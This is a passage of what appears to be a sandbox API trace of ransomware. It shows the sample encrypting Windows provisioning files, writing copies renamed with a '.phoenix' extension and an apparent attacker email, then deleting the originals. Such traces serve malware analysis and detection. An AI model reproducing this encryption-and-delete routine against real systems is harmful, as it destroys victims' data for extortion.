	[0247.689] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\328__connections_cellular_globe (philippines)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.690] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1517c0) returned 1
	[0247.690] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.690] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x28e, lpOverlapped=0x0) returned 1
	[0247.693] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0247.693] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0247.694] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1513c0) returned 1
	[0247.694] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.694] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0247.694] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0247.695] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0247.695] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0247.695] CloseHandle (hObject=0x2e8) returned 1
	[0247.695] CloseHandle (hObject=0x2c4) returned 1
	[0247.695] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\328__connections_cellular_globe (philippines)_i1$(__mvid)@wap.provxml")) returned 1
	[0247.696] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.696] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\329__connections_cellular_smart (philippines)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.697] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=645) returned 1
	[0247.697] CloseHandle (hObject=0x2c4) returned 1
	[0247.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\329__connections_cellular_smart (philippines)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\329__connections_cellular_smart (philippines)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.697] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\329__connections_cellular_smart (philippines)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.697] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.697] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.697] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\329__connections_cellular_smart (philippines)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.698] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151100) returned 1
	[0247.698] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.698] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x285, lpOverlapped=0x0) returned 1
	[0247.835] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0247.835] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0247.839] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151140) returned 1
	[0247.839] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.839] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0247.839] CryptDestroyKey (hKey=0x151140) returned 1
	[0247.839] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0247.839] CryptDestroyKey (hKey=0x151100) returned 1
	[0247.839] CloseHandle (hObject=0x2c4) returned 1
	[0247.839] CloseHandle (hObject=0x2e8) returned 1
	[0247.908] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\329__Connections_Cellular_Smart (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\329__connections_cellular_smart (philippines)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.910] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.910] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\33__connections_cellular_azerfon (azerbaijan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.910] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=707) returned 1
	[0247.910] CloseHandle (hObject=0x2c4) returned 1
	[0247.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\33__connections_cellular_azerfon (azerbaijan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.910] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\33__connections_cellular_azerfon (azerbaijan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.911] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\33__connections_cellular_azerfon (azerbaijan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.911] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.911] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.911] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\33__connections_cellular_azerfon (azerbaijan)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.911] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151600) returned 1
	[0247.911] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.911] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c3, lpOverlapped=0x0) returned 1
	[0247.930] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0247.930] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0247.931] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1512c0) returned 1
	[0247.931] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.931] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0247.931] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0247.931] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0247.931] CryptDestroyKey (hKey=0x151600) returned 1
	[0247.931] CloseHandle (hObject=0x2c4) returned 1
	[0247.931] CloseHandle (hObject=0x2c8) returned 1
	[0247.931] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\33__Connections_Cellular_Azerfon (Azerbaijan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\33__connections_cellular_azerfon (azerbaijan)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.932] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.932] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\342__connections_cellular_claro (puerto rico)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.933] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=723) returned 1
	[0247.933] CloseHandle (hObject=0x2c8) returned 1
	[0247.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\342__connections_cellular_claro (puerto rico)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0247.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\342__connections_cellular_claro (puerto rico)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.933] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\342__connections_cellular_claro (puerto rico)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.933] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.933] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.933] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\342__connections_cellular_claro (puerto rico)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.934] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151180) returned 1
	[0247.934] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.934] ReadFile (in: hFile=0x2c8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d3, lpOverlapped=0x0) returned 1
	[0247.943] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0247.943] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0247.944] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151200) returned 1
	[0247.944] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.944] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0247.944] CryptDestroyKey (hKey=0x151200) returned 1
	[0247.944] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0247.944] CryptDestroyKey (hKey=0x151180) returned 1
	[0247.944] CloseHandle (hObject=0x2c8) returned 1
	[0247.944] CloseHandle (hObject=0x2c4) returned 1
	[0247.944] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\342__connections_cellular_claro (puerto rico)_i1$(__mvid)@wap.provxml")) returned 1
	[0247.945] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.945] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\344__connections_cellular_vodafone qatar (qatar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.945] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=733) returned 1
	[0247.945] CloseHandle (hObject=0x2c4) returned 1
	[0247.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\344__connections_cellular_vodafone qatar (qatar)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\344__connections_cellular_vodafone qatar (qatar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.946] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\344__connections_cellular_vodafone qatar (qatar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.946] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.946] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.946] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\344__connections_cellular_vodafone qatar (qatar)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0247.946] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1516c0) returned 1
	[0247.946] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.946] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2dd, lpOverlapped=0x0) returned 1
	[0247.956] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0247.957] WriteFile (in: hFile=0x2c8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0247.957] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151600) returned 1
	[0247.957] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
